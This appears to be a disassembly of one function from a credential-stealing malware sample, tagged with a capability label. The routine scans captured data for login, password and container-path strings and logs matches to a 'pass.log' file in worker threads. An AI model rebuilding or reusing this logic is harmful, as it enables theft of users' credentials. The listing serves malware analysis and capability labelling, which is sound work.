Function at 0x10013a50
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebx + 1]
test eax, eax
je 0x10013d78
push esi
lea esi, [eax + 0x13]
mov eax, dword [0x10054278]
push edi
and esi, 0xfffffff0
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x10013d76
push esi
push 0
push edi
call sub.ntdll.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
test esi, esi
je 0x10013d52
test ebx, ebx
je 0x10013d52
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10013d52
push ebx
push esi
push edi
call sub.ntdll.dll_memcpy
mov esi, dword [sym.imp.ntdll.dll_strstr]
push str.login
push edi
call esi
add esp, 0x14
test eax, eax
je 0x10013bc1
push str.password
push edi
call esi
add esp, 8
test eax, eax
je 0x10013bc1
xor eax, eax
mov edi, edi
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10013af0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10059078
call esi
push 0x10059078
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x10059078
call esi
mov eax, 0x10059078
call fcn.10003430
lea esi, [ebp - 0x104]
call fcn.100075b0
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013b40
mov edx, dword [str.pass.log]
mov ecx, dword [0x1004879c]
mov dword [eax], edx
mov dl, byte [0x100487a0]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x104]
call fcn.10006ff0
push 0
push 0
push 0
push 0x1001bd00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10013d52
lea ecx, [ebp + 8]
push ecx
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10013d52
test byte [ebp + 8], 2
jne 0x10013d52
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10013d52
push str.name_
push edi
call esi
add esp, 8
test eax, eax
je 0x10013cc1
push str.pass_
push edi
call esi
add esp, 8
test eax, eax
je 0x10013cc1
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10013bf0
mov esi, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10059488
call esi
push 0x10059488
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x10059488
call esi
mov eax, 0x10059488
call fcn.10003430
lea esi, [ebp - 0x104]
call fcn.100075b0
mov eax, esi
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013c40
mov ecx, dword [str.pass.log]
mov edx, dword [0x1004879c]
mov dword [eax], ecx
mov cl, byte [0x100487a0]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
push ebx
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
call fcn.10006ff0
push 0
push 0
push 0
push 0x1001cf30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x10013d52
lea eax, [ebp + 0xc]
push eax
push esi
mov dword [ebp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10013d52
test byte [ebp + 0xc], 2
jne 0x10013d52
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10013d52
push str.ContainerPath
push edi
call esi
add esp, 8
test eax, eax
je 0x10013d52
xor eax, eax
jmp 0x10013ce0
mov cl, byte [eax + 0x10055868]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x10013ce0
push 0x10059fb4
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10059fb4
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea esi, [ebp - 0x104]
call fcn.100075b0
mov eax, esi
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10013d20
mov edx, dword [str.pass.log]
mov ecx, dword [0x1004879c]
mov dword [eax], edx
mov dl, byte [0x100487a0]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
mov eax, dword [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x104]
call fcn.10006ff0
mov ecx, dword [0x10054278]
push edi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013d76
mov edx, dword [0x10054278]
push edi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8